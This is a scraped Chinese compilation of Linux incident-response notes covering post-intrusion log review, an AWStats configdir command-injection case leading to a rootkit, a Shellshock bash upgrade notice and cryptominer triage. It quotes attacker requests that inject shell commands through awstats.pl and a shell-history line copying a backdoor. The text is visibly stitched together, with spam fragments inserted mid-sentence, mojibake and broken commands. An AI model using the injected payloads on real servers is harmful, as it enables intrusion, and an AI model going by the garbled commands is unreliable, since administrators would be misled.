1.怎样审查遭受入侵系统的入侵h入日志
2.Linux服务器安全事件应急响应排查方法总结
3.一次Linux系统被服务器被rootkit攻击的处理思路和处理过程
4.bourne again shell4.0.44-15å级ä¹
5.CPU占用率爆满,服务器遭遇挖矿如何排查
怎样审查遭受入侵系统的日志
在UNIX系统遭受入侵后,确定损失及入侵者的服务攻击源地址相当重要。虽然在大多数入侵者懂得使用曾被攻陷的器源侵服计算机作为跳板来攻击你的服务器,但是原理他们发动正式攻击前所做的目标信息收集工作(试探性扫描)常常是从他们的工作计算机开始的,下面介绍如何从遭受入侵的入侵h入系统的日志中分析出入侵者的IP并加以确定的。
1. messages
/var/adm是服务mysql php 源码UNIX的日志目录(Linux下则是/var/log)。其中有相当多ASCII格式的器源侵服日志文件,当然 ,原理让我们把焦点首先集中在messages个文件上,入侵h入这一般也是服务入侵者所关注的文件,它记录了来自系统级别的器源侵服信息。下面是原理显示版权或者硬件信息的记录信息:
Apr :: www login[]: FAILED LOGIN 1 FROM xxx.xxx.xxx.xxx ,User not known to the underlying authentication module
这是入侵h入登录失败的记录信息: Apr :: game PAM_pwdb[]: (login) session opened for user ncx by (uid=0)。
第一步应该是服务 Kill -HUP cat `/var/run/syslogd.pid`,当然,器源侵服有可能入侵者已经做过了。
2. wtmp,米粒源码屋utmp logs,FTP日志
你可以在/var/adm,/var/log,/etc目录中找到名为wtmp,utmp的文件,这些文件记录着用户是何时、何地远程登陆到主机上的,在黑客软件中有一个最老也是最流行的zap2(编译后的文件名一般叫做z2,或者叫wipe),也是用来“抹”掉在这两个文件中用户登录的信息的,然而由于懒惰或者网络速度过于缓慢,很多入侵者没有上载或编译这个文件。管理员可以使用lastlog这个命令来获得入侵者上次连接的源地址(当然,这个地址有可能是他们的一个跳板)。FTP日志一般是/var/log/xferlog,该文件详细的源码的组成记录了以FTP 方式上传文件的时间、来源、文件名等等,不过由于该日志太明显,所以稍微高明些的入侵者几乎不会使用FTP来传文件,他们一般使用的是RCP。
3. sh_history
获得 root 权限后,入侵者就可以建立他们自己的入侵帐号,更高级的技巧是给类似 uucp,lp 等不常使用的系统用户名加上密码。在遭受入侵后,即使入侵者删除了.sh_history 或者.bash_hi-story 这样的文件,执行kill -HUP `cat /var/run/inetd.conf`即可将保留在内存页中的bash命令记录重新写回到磁盘,然后可执行find / -name.sh_historyprint,仔细查看每个可疑的 shell 命令日志。你可在/usr/spool/lp(lp home dir),/usr/lib/uucp/等目录下找到.sh_history 文件,stdvector源码分析还有可能在其中发现类似 FTP xxx.xxx.xxx.xxx 或者rcpnobody@xxx.xxx.xxx.xxx:/tmp/backdoor /tmp/backdoor这样能显示出入侵者IP或域名的命令。
4. HTTP服务器日志
这是确定入侵者的真实攻击发源地址的最有效方法了。以最流行的Apache服务器为例,在${ prefix}/logs/目录下你可以发现access.log这个文件,该文件记载了访问者的IP,访问的时间和请求访问的内容。在遭受入侵后,我们应该可以在该文件中发现类似下面的信息: record:xxx.xxx.xxx.xxx[/Apr/::: -] "GET/cgi-bin/rguest.exe" -xxx.xxx.xxx.xxx[/Apr/::: -] "GET /msads/Samples/SELECTOR/showcode.asp"
这表明是来自 IP 为 xxx.xxx.xxx.xxx的入侵者在 年 4 月 号的 0 点 分试图访问/msads/Samples/SELECTOR/showcode.asp文件,这是在使用web cgi扫描器后遗留下的日志。大部分的web扫描器的入侵者常选择离自己最近的服务器。结合攻击时间和IP,我们就可以知道入侵者的大量信息。
5. 核心dump
一个安全稳定的守护进程在正常运行的时候是不会“dump”出系统的核心的,当入侵者利用远程漏洞攻击时,许多服务正在执行一个getpeername的socket 函数调用,因此入侵者的diy提交源码IP也保存在内存中。
6. 代理服务器日志
代理服务器是大中型企业网常使用来做为内外信息交换的一个接口,它忠实地记录着每一个用户所访问
的内容,当然也包括入侵者的访问信息。以最常用的squid代理为例,通常你可以在/usr/local/squid/logs/下找到 access.log 这个庞大的日志文件。你可以在以下地址获得 squid 的日志分析脚本:/cgi-bin/awstats.pl?configdir=|echo;echo;ps+-aux% HTTP/1.0" "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1) Gecko/ Firefox/2.0"
... - - [/Sep/::: +] "GET /cgi-bin/awstats.pl?configdir=|echo;echo;cd+/var/tmp/.../haha;ls+-a% HTTP/1.0" "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1) Gecko/ Firefox/2.0"
至此,发现了漏洞的根源,原来是awstats.pl脚本中configdir的一个漏洞,通过了解此服务器的应用,客户确实是通过一个Awstats的开源插件来做网页访问统计,通过这个漏洞,攻击者可以直接在浏览器上操作服务器,例如查看进程、创建目录等。通过上面第二条日志可以看出,攻击者正常浏览器执行切换到/var/tmp/.../haha目录的操作。
这个脚本漏洞挺可怕的,不过在Awstats官网也早已给出了修补的方法,对于这个漏洞,修复方法很简单,打开awstats.pl文件,找到如下信息:
if ($QueryString =~ /configdir=([^]+)/i)
{
$DirConfig=DecodeEncodedString("$1");
}
修改为如下即可:
if ($QueryString =~ /configdir=([^]+)/i)
{
$DirConfig=DecodeEncodedString("$1");
$DirConfig=~tr/a-z0-9_/-///./a-z0-9_/-///./cd;
}
6、揭开谜团
通过上面逐步分析和介绍,此服务遭受入侵的原因和过程已经非常清楚了,大致过程如下:
(1)攻击者通过Awstats脚本awstats.pl文件的漏洞进入了系统,在/var/tmp目录下创建了隐藏目录,然后将rootkit后门文件传到这个路径下。
(2)攻击者通过植入后门程序,获取了系统超级用户权限,进而控制了这台服务器,通过这台服务器向外发包。
(3)攻击者的IP地址...可能是通过代理过来的,也可能是攻击者控制的其他肉鸡服务器。
(4)攻击者为了永久控制这台机器,修改了系统默认帐号mail的信息,将mail帐号变为可登录,并且设置了mail帐号的密码。
(5)攻击者在完成攻击后,通过后门程序自动清理了系统访问日志,毁灭了证据。
通过对这个入侵过程的分析,发现入侵者的手段还是非常简单和普遍的,虽然入侵者删除了系统的一些日志,但是还是留下了很多可查的踪迹,其实还可以查看用户下的.bash_history文件,这个文件是用户操作命令的历史记录。
7、如何恢复网站
由于系统已经文件被更改和替换,此系统已经变得完全不可信,因此建议备份网站数据,重新安装系统,基本步骤如下:
(1)安装稳定版本的操作系统,删除系统默认的并且不需要的用户。
(2)系统登录方式改为公钥认证方式,避开密码认证的缺陷。
(3)安装更高版本的apache和最新稳定版本的Awstats程序。
(4)使用Linux下的Tcp_Wrappers防火墙,限制ssh登录的源地址。
bourne again shell4.0.-å级ä¹
bash shell åºè¯¥å级å°ææ°ç
é对Redhatï¼CenOSï¼Fedoraç³»ç»bashçå级å¯ä»¥æ§è¡ï¼
yum clean all
yum update -y bash
é对UbuntuãDebianç³»ç»bashçå级å¯ä»¥æ§è¡ï¼
apt-get update
apt-get upgrade
bashç¯å¢åéåå¨ä»»æ代ç æ§è¡æ¼æ´ï¼âéè¿CGI请æ±æ¹å¼å¯ä»¥å¯¼è´è¿ç¨ä»£ç æ§è¡ï¼è¿è导è´æå¡å¨è¢«å ¥ä¾µï¼å±å®³ä¸¥éï¼ä¸å®æ¹å ¬å¸è¡¥ä¸ä¹è¢«ç»è¿âï¼
ãæ¼æ´å½±åãï¼
1ï¼bashåå½±åçæ¬ï¼3.0 ~ 4.3ï¼å°äº3.0çbashçæ¬ä¹å¯è½åå½±åï¼
2ï¼å ¥ä¾µæ¹å¼ï¼ç»åCGIæ¹å¼å¯ä»¥å¯¼è´è¿ç¨ä»£ç æ§è¡ï¼å ¥ä¾µæå¡å¨ï¼
CPU占用率爆满,服务器遭遇挖矿如何排查
当服务器CPU占用率异常爆满,疑似遭遇挖矿攻击时,以下是一些排查步骤: 1. 常规处理- 检查用户信息: 使用`cat /etc/passwd` 和 `lastlog` 了解最近的登录活动。
- lastb 查看登录失败记录,`last` 检查用户最近登录情况。
- 检查是否有空口令账户: `awk -F ':' 'length($2)==0 { print $1}' /etc/shadow` 和 `cat /etc/ssh/sshd_config`。
- 使用`lsof` 和 `ps aux`/`netstat -antp`/`top` 来查找可疑进程。
- 详细查看可疑进程: `lsof -p PID` 和 `ll /proc/PID`。
- 检查端口: `lsof -i :port`。
2. 日志分析- 查看任务计划: `crontab -l` 和 `ls /etc/cron*`/`cat /var/log/cron`。
- 自启动日志: `cat /var/log/message`, `/var/log/secure`, `/var/log/lastlog`, `/var/log/btmp`, `/var/log/maillog`。
- 用户操作记录: `cat ~/.bash_history`。
3. 预防和检测- 使用AIDE进行入侵检测,配置校验目录。
- 初始化检查和数据备份。
- 比对校验数据库: `aide.db.gz`。
- NMAP扫描: ping、端口扫描及操作系统指纹检测。
- Windows系统排查:
- 用户信息检查: `net users` 或计算机管理。
- 网络连接: `netstat -ano`。
- 进程和服务: `任务管理器`。
- 日志查看: 系统日志和事件查看器。
4. 预防手段- 安装AIDE,配置文件以监测关键目录。
- 定期备份数据,防止数据丢失。
请记住,黑客可能会清除痕迹,所以排查时要全面并及时采取措施终止挖矿进程。同时,定期更新安全软件和补丁,以减少被攻击的风险。